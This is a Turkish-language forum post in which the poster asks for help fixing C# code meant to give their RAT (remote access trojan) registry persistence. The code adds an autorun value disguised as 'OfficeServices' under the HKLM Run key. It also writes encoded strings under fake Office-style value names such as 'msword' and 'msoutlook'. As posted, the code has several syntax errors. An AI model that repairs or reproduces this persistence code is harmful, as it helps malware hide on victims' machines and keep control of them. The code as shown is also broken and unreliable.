Merhaba arkadaşlar ben C#'da Rat'a regedite eklenme özelligini katmak istiyorum , yalnız yazdıgım kodda galiba hata var visual hatalı kod olarak gösteriyor , kodun üstüne geldiğimde saçma bir düzeltme seçeneği veriyor , yapıncada hala hatalı olarak gösteriyor , yardım edebilirmisiniz_?
Registry Ekleme kodları :
Registry Ekleme kodları :
Kod:
using System;
using System.Net;
using System.Linq;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;
using Microsoft.Win32;
using System.IO;
using System.Security.Principal;
private static **** SetRegistry()
{
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (registryKey.GetValue("OfficeServices")== null)
{
registryKey.SetValue("OfficeServices", destination);
}
registryKey.Close();
registryKey = Registry.LocalMachine.OpenSubKey(@"Software\Microsoft\Microsoft Office", true);
if (registryKey == null)
{
registryKey == Registry.LocalMachine.CreateSubkey(@"Software\Microsoft\Microsoft", RegistryKeyPermissionCheck.ReadWriteSubTree);
}
if (registryKey.GetValue("msword") == null)
{
registryKey.SetValue("msword", "T9FdfVBY57jQU8iVJtlNzg==");
}
if (registryKey.GetValue("msexcell") == null)
{
registryKey.SetValue("msexcell", "w8Sys+B5Kyb0A/T0CdmXXWdTTpUByWfl")
}
if (registryKey.GetValue("msoutlook") == null)
{
registryKey.SetValue("msoutlook", "SI01cIICaqxN3PT+Z76Drw==");
}
if (registryKey.GetValue("msppoint") == null)
{
registryKey.SetValue("msppoint", "ntdcNQQSEpZxLKib0Ipo8rWR8yldb3rp");
}
if (registryKey.GetValue("msonenote") == null)
{
registryKey.SetValue("msonenote", "bKDApq/Zy/ijZL+YVywIFQ90giNkTs1e");
}
registryKey.Close();
}